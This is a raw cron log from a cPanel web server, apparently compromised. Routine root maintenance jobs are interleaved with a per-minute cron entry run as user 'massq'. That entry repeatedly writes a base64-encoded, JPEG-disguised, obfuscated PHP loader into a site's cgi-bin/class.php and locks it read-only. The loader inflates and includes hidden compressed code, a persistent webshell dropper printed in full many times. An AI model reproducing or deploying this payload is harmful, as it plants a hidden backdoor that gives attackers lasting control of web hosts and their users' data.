Aug 31 06:37:01 server CROND[30773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:37:01 server CROND[30774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:38:01 server CROND[31164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:38:01 server CROND[31165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:38:01 server CROND[31166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:39:01 server CROND[31553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:39:01 server CROND[31554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:39:01 server CROND[31556]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 06:39:01 server CROND[31555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:40:01 server CROND[31945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:40:01 server CROND[31948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:40:01 server CROND[31949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:40:01 server CROND[31950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:40:01 server CROND[31951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:40:01 server CROND[31955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:40:01 server CROND[31953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:40:01 server CROND[31956]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:41:01 server CROND[426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:41:01 server CROND[428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:41:01 server CROND[429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:42:01 server CROND[845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:42:01 server CROND[846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:42:01 server CROND[847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:42:01 server CROND[848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:43:01 server CROND[1384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:43:01 server CROND[1385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:43:01 server CROND[1386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:44:02 server CROND[1817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:44:02 server CROND[1819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:44:02 server CROND[1818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:45:01 server CROND[2264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:45:01 server CROND[2263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:45:01 server CROND[2266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 06:45:01 server CROND[2268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:45:01 server CROND[2269]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 06:45:01 server CROND[2267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:45:01 server CROND[2270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:46:01 server CROND[3342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:46:01 server CROND[3343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:46:01 server CROND[3344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:47:01 server CROND[3729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:47:01 server CROND[3730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:47:01 server CROND[3731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:48:01 server CROND[4117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:48:01 server CROND[4118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:48:01 server CROND[4119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:49:01 server CROND[4499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 06:49:01 server CROND[4500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:49:01 server CROND[4501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:50:01 server CROND[4897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:50:01 server CROND[4899]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
